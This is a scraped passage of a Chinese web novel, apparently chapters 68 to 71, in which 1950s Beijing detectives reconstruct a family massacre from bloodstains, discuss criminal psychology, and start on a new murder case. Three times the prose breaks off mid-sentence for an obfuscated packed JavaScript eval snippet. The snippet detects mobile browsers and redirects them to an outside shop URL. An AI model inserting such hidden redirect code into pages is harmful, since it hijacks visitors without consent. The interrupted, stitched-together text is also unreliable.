顾昭蕙起身，弯着腰从东屋往正房那边走，似乎在寻找什么。 “你在找什么？有什么问题吗？”张耀扬看她的动作问道。 顾昭蕙没说话，继续找，突然她在女主人死亡的位置，找到半滴血迹，而这枚血迹之所以是半枚，是因为工作人员在划线的时候将半滴血迹给掩盖了。叹了口气，这年代人做事太粗糙，不过也没有办法，大家都没有那个意识。 将那半枚血迹照下来，顾昭蕙继续趴在那里将地面仔细的查看一下，好一会起身后。 “我记得你们卷宗里写的女死者是第二受害者。” “对，这家里男女主人在正房带着一岁的婴儿，老太太带两个孙女住在西厢房，一个十六岁的大儿子住在东厢房。男主人死在屋里床上，应该是第一个受害者，然后就是女主人，应该时发现了凶手往出跑，但是被凶手追上了。女主人可能发生叫声，东厢的大儿子冲了出来，他死在院子里，最后是老太太和两个女孩，都是没有跑出屋子就被杀害。”张耀扬说着他们推断的结果。 顾昭蕙摇了摇头，“顺序可能错了，最先死的应该是西厢房的老太太和两个女孩，老太太是第一个死的，凶手对她应该是有情绪的。”老太太死的时候是在睡梦中，但是她身上被捅了三刀，都是在要害。 “最小的女孩是第二受害者，大一点的女孩被惊醒她奋起反抗，或许还叫出了声，让东厢房的男孩发现了，但是男孩没有出来。正房的女人打开房门，然后凶手去屋子里杀了男主人。”顾昭蕙说着几个人死亡顺序。 张耀扬皱着眉头说“等等，如果是女主人开的门，那么她怎么没有反应，凶手为什么没有杀她，而是进屋杀了男主人。” 顾昭蕙看了他一眼说道“男主人没有反抗凶手杀了人之后正要出门，却听到婴儿被惊醒的哭声，他当时正在门边，随手抓过婴儿扔到墙上，女主人没想到会发生这样的事情，她质问男人，跟男人应该起了口角，但是男人杀红了眼，提着刀出来，女人发现不对往出跑，被男人在门口杀害。” 顾昭蕙站在正房门口看向东厢，“那个男孩可能听到母亲的声音，从屋子里出来，他有点吓傻了，凶手走过来，男孩吓坏了，他不明白这个人为什么会杀了他母亲，凶手应该没有回答，给了男孩一刀，男孩死后，他蹲在他尸体前面好一会。然后离开。” “你的意思是女主人跟凶手认识，而男孩也认识凶手？”张耀扬这回听明白了。 顾昭蕙点点头，“屋子里血迹很多，血迹覆盖严重，但是仔细看就会发现一些问题，西厢房门口的几滴血迹是凶手从屋子里出来后滴落的，细看滴落痕迹就会发现，血迹是凶手从西厢房走向正房的时候留下的痕迹，回去可以做一下实验，血液滴落后会有一个前进的力，使得血滴形状会有改变。女子死亡的时候脚上踩了屋子里的血迹，她应该是看到孩子死了蹲下去检查，才踩到血迹，虽然不是很明显，但是屋子里有她往出跑的痕迹，但是细细检查会发现屋子里有女子停留的痕迹，一个女人面对杀死丈夫的凶手，跟他还面对面站立，这个女人肯定有问题。”顾昭蕙说着指了指男孩死亡位置那半枚脚印。 “这半枚脚印是凶手半蹲着留下的，脚尖蹬地的痕迹，他穿着一双底边无纹的布鞋，这种鞋不好留下痕迹，但是他蹲下的时候前脚掌使力，留下痕迹，在这痕迹中，有一滴血迹是从那边女主人死亡地方踩过来的，因为他的布鞋吸水，过来几乎没有痕迹，这边压力一大，留下一点痕迹。不过还需要验证。” “所以说凶手是与女主人认识的？可是我们查过男女主人身边的人没有发现可疑对象。”张耀扬说道。 顾昭蕙摇了摇头“你们或许可以查一查女人结婚前是否有情人另外就是他们结婚多久，那个死去的男孩应该与这家男主人没有血缘关系，男孩是单眼皮，他父亲是双眼皮，而且他父亲可能带有一点蒙古血统，男孩完全是汉人的样子，虽然与他母亲有些相似，但是我怀疑，男孩并不是男主人的儿子。”关于这一点在刚才怀疑男孩与凶手也认 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回到朝阳派出所，顾昭蕙将她在现场的发现写了一个IE大办公室报告，包括了每一处血液的行动轨迹分析，几位受害者被害的先后顺序，证明，全都做了书面报告，因为这个案子还算是比较典型，尤其是血液轨迹这方面，很多地方值得学习。将这些写下来，其中还夹带着脑海中关于血液坚定的一些知识。 这些东西已经在脑海中整理好了，她只需要写下来就行了，一个下午的时候几十页的现场报告就出炉了。 下班铃声一响，张耀扬带着两个人还有在外边跟着调查的齐云松一起进了办公室。 顾昭蕙看到他们进屋，诧异的看着他们“怎么找到嫌疑人了。” 张耀扬笑了笑“果然顾组长果然敏锐。” 顾昭蕙将手上的稿纸蹲了蹲，递给张耀扬“现场报告。”说完看向齐云松对着他挑了一下眉头。 “我们走访了农场的老户，这边的人都是前几年迁过来的，不过有两家人与他家是在一个地方迁过来的，这家女主人当年确实有一个相好的，听说都要结婚了，那人还是这家男主人的表兄，也就是那个老太太的侄子，不过当年男人卖大烟，让人告发了，他连夜跑路，女人当时有了孩子所以在老太太的撺掇下嫁给了这家男主人。” “他家老太太和男人都知道孩子不是他的？”顾昭蕙诧异的问。 齐云松点点头“嗯，知道，不过这家男人是个心大的，当年就很喜欢女人，加上都是亲戚，反正对他这个儿子还挺好的。这事在当地也不是什么秘密，听说结婚六个月就把孩子生下来了。” “那人有抓捕方向了吗？”抓到人才是正经。 摇了摇头“暂时还没有办法，就知道有这个人，名字都没有。” 顾昭蕙点点头，想想也是那男孩都十六岁了，凶手也跑了十六年，哎，她突然想到“你说这个凶手先对老太太下手，会不会因为当年他就是被老太太告发的。” 齐云松眼睛一亮“你说的有道理。他离开这么多年，为什么突然回来，会不会突然知道这个消息，所以才回来。” “所以要找到消息来源？”张耀扬将报告合上，听到两人讨论，插话道。 69. 第 69 章 第六十九章 有了方向，事情就好办多了，从根源查起，虽然时间过去太久很多人都换了地方。 顾昭蕙和齐云松没有留下，这一出差回来，就奔这边来了，家都没回，范伟强听说案件的进展，顾昭蕙拿出的那份现场调查报告，知道这次市局又露了脸，直接给两个人放了假。让回家好好歇两天，下周一再上班，当然如果这边案子再有什么问题，再找。 “明天你有事吗？”齐云松骑着李想的车送顾昭蕙回家，快到家门口的时候问道。 “没有。”顾昭蕙摇了摇头，这两天也就休息，没什么事，娘家人明天都上班，她也不急着过去。 “我最近对破案有些想法，有些问题想咨询一下。”齐云松有点不好意思。 顾昭蕙没想那么多，她本来就想将脑海中的一些东西，弄出来，提高这个年代破案率。尤其推理方面，在这个检验几乎为空白的年代是很有用的。 “行啊。那明天你就过来吧。”顾昭蕙说道。 齐云松想了想，“要不你去我家吧。大院里毕竟人多些。” 顾昭蕙想了想点点头“我还没去过呢。” “那明天早上我去接你。”齐云松说。 “不用了。我自己骑车过去，不是南鼓锣巷那边吗？炒豆胡同多少号？” “54号。”齐云松说道。 “我能找到，我自己过去。”顾昭蕙之前听他说过，就是不知道具体多少号，那边还是很好找的。 第二天一早顾昭蕙起来跟蒋志忠夫妻俩吃了早饭，这也是习惯了，天天早上不管是不是放假，六点钟都要起了，这年代人起来的都挺早的，五点多就能听到院外邻居间打招呼的声音。 吃了早饭，把屋子收拾一下，顾昭蕙就背着包，骑车去了南鼓锣巷，这会已经八点多了，上班的都走了，进了南鼓锣巷，倒是没有后来那么热闹。顾湘记忆中在这边游玩过，那时候胡同里商业气息十分浓郁，对比之下现在看着比较朴素，一排排胡同，难得的排列整齐，好多大杂院，一些小孩子在胡同里玩耍。特别有生活气息。 炒豆胡同五十四号很好找，从东边第一户，顾昭蕙之前弄错了，从胡同那边走过来，以后再来直接走东边的路一拐就到了。 大门是非常典型的金柱大门，不过上面没有红漆，不知道是不是新换的大门，大门是原木色只刷了桐油。看起来朴实又干净。 大门是半开着的，门口的楼梯旁边有个斜坡，推车上去正好。 “有人在吗？”顾昭蕙也怕找错，喊了一声。 “哎，来了。”齐云松的声音从院子中传来。接着人就小跑着过来。 “我就想着你肯定来的早，快进来。”他说着上前把顾昭蕙的自行车推了进来，直接停放在门洞里。等顾昭蕙进了屋子，就将院门关上了。 顾昭蕙进了院子，对面就是影壁，影壁紧贴着东厢房的山墙，往左边走下了台阶院子就映入眼帘，这是不小的一进院子，正房三大间，正房东西有四间小耳房，东西厢房都是两间，另有算上门房共七间倒座房。 正房西间前面有一颗大枣树，枣树下边有石桌石凳。房屋是那种支摘窗，下边是大玻璃窗上边支摘窗是步步锦雕花窗，院子里全都是保持着木质原本的颜色，上了桐油却没有上色，看上去干净又漂亮。这或许是她看到的最有特色的院子了。 “来进屋坐。”齐云松似乎很高兴，他刚才在倒座房的厨房那里，身上还套着围裙。他引着顾昭蕙进了正房，正房三间，用冰裂梅花纹的圆光罩隔着，堂屋北墙是八仙桌两把椅子，屋当间鼓桌带五把椅子，东屋南窗底下是一个罗汉床，东墙放在一排矮柜，矮柜上的墙上挂着一些照片。 西边应该是书房，靠窗有一张书桌，西墙一排书架，上面很多书籍。 “你这里布置的不错啊。”这绝对是她在这个年代看到的最舒服的房子了。也可以看出来齐云松虽然在单位住的时间长，可是他对于家还是很爱护的。 “还好，家具多数是当年我爷爷留下的，倒是门窗是从别人那里淘换来的，别看它不起眼还是楠木的呢。”齐云松有点得意。 顾昭蕙不懂这个，只是觉着漂亮“窗户还能淘换来呢？” “是以前的落魄的旗人，他家原来老宅园子里有个书斋，这是他家书斋的门窗。我一个邻居听说我找木匠打门窗，就给我介绍了，当时花了我二百多万呢。”齐云松说道这里还有点得意。 “那也不少了。”按照之前的兑换原则，二百多万也相当于贰百元了，现在二百元都够买一间房了。 “除了这个窗户，还有两棵老料，是红松的，我找木匠照着做了其它窗户，这样院子看起来才差不多。” 看她有兴趣干脆带她去看了其它房间，正对着正房的倒座房就是厨房，厨房东墙这边里有一大一小两个灶台，顾昭蕙看着大锅里边烧着什么，大锅冒着热气，闻着有肉的香味，相必来的时候齐云松正在这做着。 “早上我去早市买了半个猪头，这会煮了，正好中午吃。”实际上昨个顾昭蕙答应他过来，他就去找附近最有名的屠夫，让他帮着弄点好东西，本想着弄点排骨，听说能弄来猪头，那就更好了，一早上天没亮就去了，生怕让别人抢了去。 顾昭蕙倒是没有说什么破费的话，“你加了什么调料，煮的很香啊。” 齐云松就喜欢她这种不扭捏的样，这要换了别的女人，就算想吃，肯定也要矫情一下。 “这可是我的秘方。”齐云松哈哈笑了一下“四七年的时候我去东北一阵子，正好赶上过年，嘿，那边冬天可真是冷，零下四五十度，不过冬天也有好处，碰上了杀年猪，当时办一个案子，跟着一个老乡身边，算是当学徒，他是个杀猪匠，烀猪头猪蹄子杀猪菜，可惜咱们这边没有自己杀猪的。不然请你吃血肠。” 顾昭蕙笑了笑，“说不定将来有机会呢。”说到这里，顾昭蕙突然想到之后三年饿肚子的日子，心想着都五六年了，还有三年时间，她是不是也得做些准备。其实从今年开始供应有就有点紧张了，之后想吃肉都有点困难了。 想到这，顾昭蕙抽了抽鼻子，这味道，太香了。 厨房这边都是没有隔断的，西边就是饭厅，一张八仙桌，屋里橱柜什么都齐全，可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13177882|130848||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是看着没有用几次的样子。 厨房西窗下边就是水池子，两个水槽，还是用不同颜色石头砌的，厨房旁边是一间储藏室，里边有两个大架子。最西边一间是厕所和洗澡间。 这院子宽敞，功能齐全，看的顾昭蕙都特别喜欢，顾湘的一些念头突然出现在脑海中，想着将来四合院的价格，自己都想弄一个了，这也太好了。 很快这股念头就被压下去了，现在是五六年，就算离四合院自由买卖的日子还得三十多年，这期间房屋都是公家的。 不过她也不必为了房子发愁，实际上她现在如果需要的话，单位都能给她解决一下住房问题。 参观完了房子，顾昭蕙和齐云松也没耽搁时间，直接在书房开始了讨论，齐云松最近写了一些心得，这次去北河市给他很大的启发，他将自己带入凶手的视角，发现当他了解了凶手的一些信息后，能模拟一些凶手的行为方式。 顾昭蕙知道他有天分，但是没想到他竟然真的能摸到犯罪心理的边缘。干脆就将自己脑海中关于这方面的书籍经验跟他说了起来。 顾昭蕙没有藏私，她和齐云松第一次见面后，关系一直发生了变化，最早他是怀疑顾昭蕙的，他在监视她观察她，可是随着时间推移两个人的关系渐渐发生了变化，配合信任，到现在是共同奋斗的战友。 所以她没有保留，将那些知识教给他。 齐云松没有去怀疑她怎么知道这些知识，他知道她是个天才，所以他只要将这些知识吸收就好了。 “所以之前王傲的心理可以从他父亲去世开始，家庭巨变产生了巨大的变化。那个时候他刚刚十二岁，正是青少年心理发育期，这个年龄的孩子，正是塑造价值观世界观的年纪，心理极易受到影响。” “青少年时期孩子心理塑造是非常重要的，一些连环杀手都是在这个时期生活发生了巨变，造成了他们成年后心理缺陷从而发生犯罪行为。”” 齐云松将顾昭蕙说的话进行记录，说话间就到了中午，猪头肉做好了，本来齐云松还想蒸点米饭，结果两个人说的太多了，一晃就到了中午，他直接去巷子那边国营饭店买了两份米饭，然后要了一份白菜冻豆腐。 到家顾昭蕙已经将猪肉头切了一盘。 俩人吃饭也没有什么食不言的规矩，齐云松倒是说了一个案子“我前年在沪市的时候遇到一个案子，几个女人被杀害，死前都被虐待过，手段十分凶残。本来案子一直没有破，差不多隔一个月就有一个受害者。也是巧合，当时我是去抓敌特，从那个人口中知道这个凶手的信息，然后将他抓获。” “他也是个特务，不过心里也是有问题，杀人是为了发泄，查过之后他小时候被虐待过，大约十一二岁的样子，虐待他的人是他惟一的亲人，他的小姨。后来加入军统，他就展现了残忍地一面，那时候专门做脏活。他这样的或许就是你说的幼年经历影响他的心理。” 顾昭蕙点点头，“有的时候幼年受到的伤害，需要一生来治愈。有些人在伤害中无法脱出。还有些人将这种伤害转移到别的人身上，用这种伤害别人的方式来释放自己的痛苦。” 70. 第 70 章 第七十章 放假三天，除了最后一天周末，顾昭蕙去娘家吃了一顿饭，陪着爷爷奶奶待了一下午，其余时间都是在齐家。 这期间她给齐云松灌输了一部分刑侦方面的知识，尤其是齐云松现在比较有兴趣的，犯罪心理学，通过顾昭蕙的讲述，齐云松之后还进行了总结，“这两天讲的东西，完全可以总结出来，让一线人员学习一下，不过还缺少实例，以后遇到相关的案子，也要记录下来。” 顾昭蕙也是这么想的“前面办过的几个案子我已经进行了记录，之后拿给你看一下，不过可能会按照办案方式进行分类。”她也是有这样计划的，但是这两天她发现，齐云松对于总结记录是很有天赋的，虽然齐云松只是初中毕业，但是他一直没有停止学习，尤其进入秘密战线后，跟前辈学了很多东西。所以他的学识不比别人差。 “你说的对，我也将咱们破获的几个案子，进行过分析，有的案子是根据现场痕迹进行分析，有的案子是根据罪犯心理进行分析。还有之前你说过的脚印的公式，这次遇到的血液痕迹分析，都是经验。”齐云松说到这里眼睛都是亮晶晶的，说实话，他这些年也碰到一些案子，他也懂得案件分析，懂得利用痕迹，但是并没有顾嘉蕙总结的这么透彻。他真的是学到很多。 顾昭蕙自己也有些不足，例如对于特务的抓捕，可能就不如齐云松，他在这方面非常敏锐，而且对于那些人更加了解，知道他们的行为模式。所以她也会问一些这方面问题，两个人也算是互相学习，相互之间的关系更加融洽，自在。 上了班，顾昭蕙才知道灭门案的凶手已经抓到了，事实上只要知道方向，想要寻找是不难的，不过这人也是一条大鱼。 凶手叫孙会，早些年跟着帮派的人胡混，开始贩卖大烟，其实那时候卖大烟，也不算是大事，不过他身上还沾着人命，所以被人举报后，就连夜跑路了。之后他去了中原，在那边也是混着，结果跟某统的人搞在一起，四七年的时候由某统的人安排进入了中原警局，结果因为得罪人被弄到监狱做狱警。 四九年后，作为一个闲棋留在监狱，不过半年前被调到农场，是上边给他的一个任务，按照那边的说法，他只要完成任务，就可以离开，到时候会有人协助他过海。 也是因为他的口供，农场的人才知道在三个月前死亡的一个犯人，竟然是被他弄死的。他弄了慢性毒药，每天给那个犯人下了一点，一个月后这人心脏衰竭而死。可惜他并不知道那个人的身份。只是听命行事。 他也是在那人死后才发现自己当年的恋人竟然就住在农场附近，自己还有个十几岁的儿子，他想让女人跟他走，女人开始不乐意，但是后来听说可以过海去过好日子，就同意了，这期间还让孩子跟他相认了。那孩子也知道自己的身份，毕竟与他现在的父亲长得不像，以前没搬过来前，老家有人说过闲话，小孩子都懂事了，自然就记在心上，所以对这个父亲是没有排斥的。 可惜这孩子不知道那天男人杀红了眼，他早些时候打听到，当年举报他的就是自己的亲姑姑，亲姑姑为了自己的儿子，把他给告了，要知道那个时候想要他命的人好几个，如果不是一个朋友听说这个事情给他报了信，他逃跑的那个晚上可能就死了。 所以他恨自己的姑姑，也恨那个霸占自己老婆的人。所以他跟女人说晚上给男人吃点安眠药，他带着他们远走高飞，实际上那时候就已经想要杀掉老太太和男人了。 女人家里的情况他是很清楚的，却没想那天打开屋子两个女孩也在老太太的屋子里，本来两个女孩是住在正房西屋的，可是那天女人怕两个女孩听到声音，就找借口让俩孩子去西厢房住了。 男人看见两个女孩也没停止动手，结果被其中一个女孩发现，干脆将两个女孩全都杀了。 之后的事情就是顾昭蕙想的那样，他许是杀红了眼，将男人杀死后听见婴儿哭声，随手就扔到了墙上，女人并不知道女儿也死了，只是发现小儿子死后，与男人起了争执，男人想到她这么护着那个男人的崽子，又跟那个男人过了这么久，他心一狠把女人也杀了。 出了门，男孩从东屋出来，看到母亲这个样子，男孩又害怕又紧张，质问他为什么杀害他母亲，男人看着男孩恐惧他的样子，一刀捅进男孩胸膛。之后半蹲在那里停留了好一会。 男人杀了人后没走，第二天照常上班，他绝对不会有人发现他。只是在那天顾昭蕙离开的时候跟张耀扬说过一句，男人应该是一年内来到农场的人员，跟女人接触也不会太长时间，不然他早带着人走了。 张耀扬就查了附近人口，最近一年迁过来的记录。用年龄刷下去几个人，然后又将这些人的籍贯进行了解，还有女人老邻居的回忆进行整理，最终找到孙会。因为孙会是在监狱工作，他的工作关系，将他生平记录的很清楚，虽然开始是造假的，但是在有心人眼里，到处是破绽。抓到人一审讯果然，抓到一条大鱼。 “三处的工作还是很多啊。”顾昭蕙看过全部卷宗后感叹了一下。 “已经抓了很多，就我知道的光京城，四九年后，就已经抓捕了十七个潜伏小组。这些潜伏小组，上上下下，至少五十人，另外很多零散人员更是抓捕很多。这些人中其实很多都没有行动，像是蝰蛇小组那样的也算是少数。”齐云松说道这里点了点卷宗。 “我们破获的几个案子，其中就有特务，实际上现在普通群众犯案并没有那么多，只有这些人员才会肆无忌惮，而且就像你之前讲的犯罪心理学，这些特务因为长期潜伏，心理压力很大，压抑自己本性，时间长了就会出现问题，最终走向疯狂。” “孙会之前一直想过海，但是那个人已经死了三个月，他都没有离开，绝对不是因为女人孩子的关系，我想他可能知道上边失约了，根本没有带他出海的意思，所以当天杀了人后，他才会进入疯狂，对自己爱人和孩子下手。”齐云松分析着孙会的杀人心理。 顾昭蕙挑挑眉头“你现在对犯罪分子心理分析，已经可以出师了。” 齐云松咧着嘴露出八颗大白牙“还是小顾老师教的好。” 顾昭蕙摇了摇头，她知道齐云松之所以对人心判断正确，都是他这么多年工作得到的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13187925|130848||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 经验，他开始在敌后潜伏，之后又抓捕那些特务。肯定有自己得有眼光，她能教给他的也只有将这些经验进行理论总结，让他对这些东西掌握的更好。一切还都是靠他自己。 朝阳派出所的案子，虽然只是去了一天，但是顾昭蕙的血液分析给他们帮助极大，可以说这个案子这么快的破获，顾昭蕙立首功，所以与案卷一起过来的还有给他们的奖励，朝阳派出所给她和齐云松每人十元的奖金，还有一些票据。 其中有二十斤细粮票，和十斤肉票，很丰厚，虽然现在还没有到三年后灾难的时候，粮票和肉票都是固定的，每个月的票据都是固定的，并不是有钱就能买到的。只是饿不着而已，实际上未来二十年，粮食都是人们最关心的问题。 现在早上还有早市，能买到一些农副产品，可是最近局里已经开始开会了，听说要禁止了，这时候的早市实际上是早期的鸽子市，其实每个城市都有这样的地方，之所以禁止也是因为最近开始有很多投机倒把的，并不是指那些卖点鸡蛋粮食的，而是有人在早市贩卖违禁品，前些日子，丰台派出所那边出了一起木仓案，造成两人死亡一人重伤，抓捕凶手后，发现凶手手持的木仓，就是在早市上买的。 顾昭蕙听到这个消息后，都有点不敢相信，你能想木仓都能随便买到。可这年代就是这样，木仓太多了。 所以最近肯定要狠狠地打击一下市场。这跟顾昭蕙和齐云松两人关系不大，是属于治案大队的工作，只是早市取缔后，他们想要买东西也不那么方便了。 顾昭蕙将发的细粮票和五斤粮票给了娘家，蒋家不缺粮票，细粮她是直接买好，给爷爷奶奶送去，两位老人牙口有点不好，弄点白面平常滚个旮沓汤，或者煮点大米粥。前些日子老太太感冒病了半个多月，年纪大了，有点小病，不爱好。 本来顾昭蕙至少半个月回家一次，给家里买点鸡蛋，老两口每天能吃一个鸡蛋，最近鸡蛋都不好买了。 顾昭蕙想着是不是再想办法弄几只母鸡，在家里养着，不过想想还是算了，顾家住的大杂院，养鸡太扎眼，在弄出是非，得不偿失。 中午吃饭的时候齐云松看顾昭蕙好像想着什么，就问出来。 “现在鸡蛋不好买了，家里定量不够吃，我想着从那里弄点来。” “这有啥难得，你等着，一两天就能弄来。”齐云松觉着这不是啥大事。 顾昭蕙看着他“你可别犯错误。现在抓的紧。” 齐云松笑着摇了摇头，“没事，就是托上次买猪头的那个师傅，他老家是怀柔那边的，平时收猪都在那边，倒是让他帮着带点鸡蛋，不是啥难事。” 顾昭蕙一听觉着应该没什么。就买几个鸡蛋。 只是没想到第三天，怀柔那边来了两个同志，专门找齐云松，“齐同志，我们是怀柔派出所的，我们这边发生了一件命案，我们从受害者的身上发现了您的姓名和电话号码，请您看看，这是你写的吗？” 齐云松接过那张纸条，那上面写着‘齐云松36541’这张纸条是他给那位采买鸡蛋的师傅写的，门卫的电话号码。 71. 第 71 章 第七十一章 齐云松一看就知道这个是他写给老曹，曹琦的电话。他跟曹琦约好，让他帮着弄些鸡蛋，因着是顾昭蕙第一次让他办点事，他想着尽快弄来，所以给曹琦电话，弄到了就给门卫打电话，可是没想到，这人竟然死了。 这种事情自然没有什么可隐瞒的，本来也不是什么大事，齐云松将他和曹琦之间的关系说了一下。曹琦是昨天夜里被杀的，死亡时间应该就是夜里十二点到凌晨四点之间。这期间齐云正在单位值班，后半夜也是在楼下值班室睡的，一起的还有治安科的两位同事，所以他也不必回避。 齐云松跟曹琦打过几次教导，觉着这人不错，听说人死了心里也有点不得劲。“走吧，咱们去看看。”顾昭蕙在办公室里听他们件事情说了一下，知道齐云松想法，干脆的说。他们是市局，全市任何范围的刑侦案件，他们都有参与的资格。 齐云松点点头，跟大队长打了个招呼，估计这一去最早也要明天晚上回来。 怀柔的同志开车过来的，往楼下走的时候顾昭蕙突然说道“这个案子看来不是那么简单的。” 齐云松听她这样说一想也明白了，正常来说如果怀柔那边发现了电话，完全可以直接打电话过来，了解情况，很简单的事情，电话里就能说清，他们本来就是一个系统的，没有必要过来。 尸体是早上五点的时候发现的，从怀柔开车到这里，因为有国道，好走些，开车也要走三四个小时，但是看时间，他们至少在八点钟就从怀柔出发了。所以他们过来可能就是为了找他们。 齐云松忍不住笑了一下“咱们名声不会传的那么远吧。” 顾昭蕙在办公室的时候就行明白了，但是也没有说什么，反正最近也没案子，并不是麻烦事。 坐上了汽车，还是漂亮国货，估计是前几年北边打仗缴获的，看车子竟然有七成新，这怀柔的领导还是挺有能力的。 齐云松想明白事情经过，在车上就直接问了更详细的情况。 对方同志听了笑了笑，“就知道你们能猜到。”年长的那个叫秦爱国的，笑呵呵的跟他们说“其实我们这次就是请救兵来的，这个案子的死者死相凄惨，死法也很复杂。我们经过初步探查，发现案子不简单。我们所长早听说你们三组破命案有一套，所以让我们来请，只不过我们所长就让我们先别说，以齐同志的脾气肯定不会不管的。” 齐云松好奇了“你们所长叫什么？他认识我。” 秦爱国笑了笑“我们所长说不告诉你。等您见到他就知道了。” “嘿，竟然还卖关子。”齐云松有点没好气的说，但是他还真想不到是谁在怀柔那边。 一路上道路大部分是国道，走的很快，不过就是这样到这边的时候已经是下午五点了。 车子没去派出所，直接去了石磨村，案发现场，车子就停在破庙的门口，看到他们的车子，破庙里出来几个人，为首的那人四十多岁，满脸胡茬。 齐云松隔着车窗看到来人，脸上带着惊讶，接着就是一喜人推着车门还没下车就说“嘿，虎哥你啥时候到怀柔的？” 那男人上前给齐云松来了个拥抱，接着用巴掌拍了拍齐云松的肩膀“你小子没想到是我吧。我刚调过来还没俩月呢。这不还没来得及给你信呢。” 齐云松跟这人显然关系不错，“你这怎么跟我还弄迷魂阵呢，你要是说有事，打个电话我不就过来了。” “呵呵，之前老赵跟我说你现在在市局干的不错，破案有一手，我就想着给你个惊喜。看看能不能先骗过来。”男人哈哈笑着说“哎，实在是这案子不是简单的案子。” 齐云松突然想到顾昭蕙，回过头看她站在车边上，就拉着男人来到顾昭蕙身边“来我给你介绍一下，这是杨虎，之前在东北的时候我俩当过搭档，没想到调到这边来了。” “虎哥，这是顾昭蕙同志，是我们工作组的组长，她的破案能力才是一流的。” 杨虎赶紧伸出手“你好你好，久仰大名，这些日子没少听说你们的事。市局神探。哎呀，其实应该我去请你们过来的。” “杨所，不用客气，本来支援地方工作也是我们的职责。您打个电话就行了，还让人跑一趟。”顾昭蕙笑呵呵的说。 几个人说了几句客套话，就开始干正事。 顾昭蕙和齐云松开始查看现场，不过一看这现场，两个人就知道为什么这个案子怀柔这边办不了了。 他们一进破庙，就看到曹琦的尸体被钉在墙上。这会还没有弄下来呢。 “我们本来想弄下来，但是你们看，这个现场，太特别了，如果撤了，在照片上查看也不会这么直观。”其实杨虎之前在电话里跟刑侦大队长沟通过了，他以前跟范伟强也见过几次，两人相熟，确定了顾昭蕙和齐云松能过来，他就让现场保持着。外面还弄了人警戒，就想让他们看一下第一现场。 现场特别，这里是个破庙，不过可能荒废时间长了，中间的佛像已经破损，就剩下一个基座，而曹琦，就被凶手用三尺长的钢筋，钉在墙上。还不是一根，钢筋有成年男人拇指粗细，一共用了八根。其中钉的最深的是头上那根，从曹琦右侧太阳穴钉进去，只留下不到五厘米长短。 看到这样的现场两个人都愣了一会，不是对尸体有什么不良反应，而是，俩人心里产生了同样的疑问，这人是怎么被钉上去的。 除了头部，尸体双肩胛，双手，心脏，两个大腿。全都有一根，尸体脚下是悬空的，可以看出来下面没有凳子等垫脚的地方。不过想想就算有垫脚的地方，难道死者还能老实的站在那里任你杀他吗？ 另外这个东西，如果想要将人钉在墙上，至少需要一只手抓着签子固定，另一只手用锤子使劲敲下去。所以想做到这一点，至少有人帮着固定受害者。 顾昭蕙看了看地面，暗叹一下，这破庙本来地面有许多浮土，非常容易留下脚印，可是她低头一看，地面上的脚印，简直就是一层覆着一层。显然已经被破坏了。 “我们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13201561|130848||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过来的时候这边已经进去十多人了，还得亏这边的老支书有些威望，让村里青壮把破庙围上了，没让人动，不然他们都敢将尸体弄下来。”杨虎看着地面说道。 顾昭蕙点点头这年代人没有保护现场的意识“是谁发现的？” “是村里的二赖子，昨晚出去耍，半夜才回来，他媳妇泼辣，给撵出来了，没让回家，眼瞅天亮了他就想在破庙里窝一会，等天亮再回家。一进来就看到了，给吓得都尿裤子了。” 顾昭蕙点点头，检查了一下供桌，上边有脚印“这些脚印提取了吗？是谁的？” 杨虎有点不好意思的绕了绕头，“这几个脚印有老乡的还有我们所俩同志的，他们俩先到直接上去了。我已经批评他们了。” 顾昭蕙仔细看看摇了摇头“就算他们不上去，也不会有什么线索，这里已经被凶手擦过了。”桌子除了那几个脚印，非常干净，上面还有清扫的痕迹。 齐云松听她这样说，也就不用顾忌，直接迈着长腿上去了，“上来。”回身伸出手，顾昭蕙抓着他的手上去。 踩着工作上了佛像基座，顾昭蕙发现这个基座上的痕迹也被扫过，一些血迹有划过的痕迹。这里全都是血迹，是第一现场。 顾昭蕙观察死者，抽了抽鼻子“喝酒了。” 齐云松凑过去闻了一下，“还不少呢。” 顾昭蕙看着他，突然拉了一下，“别动。”她比划一下“这里是第一现场，凶手不管是怎么固定的，他动手的时候不会距离受害者太远。你看，你抬起手什么感觉？” 齐云松想了想右手虚握一个锤子样的东西，左手好像拿个钢钎，“凶手要比我矮一点，不过也超过一米八了。曹琦身高也就一米七，所以他这个位置是凶手特意弄的。”齐云琢磨了一下，眼睛看向庙的房顶，这种老式房子都有房梁。 “那里。”齐云松有点兴奋，“他用绳子固定，然后再杀人。” 顾昭蕙点点头，“这人身材高大应该还有很大的力气。”她又比化一下距离，“矮一点的都够不到。” “这也不是钢筋，有点像采石场的钢钎。”齐云松也发现钢钎的问题。 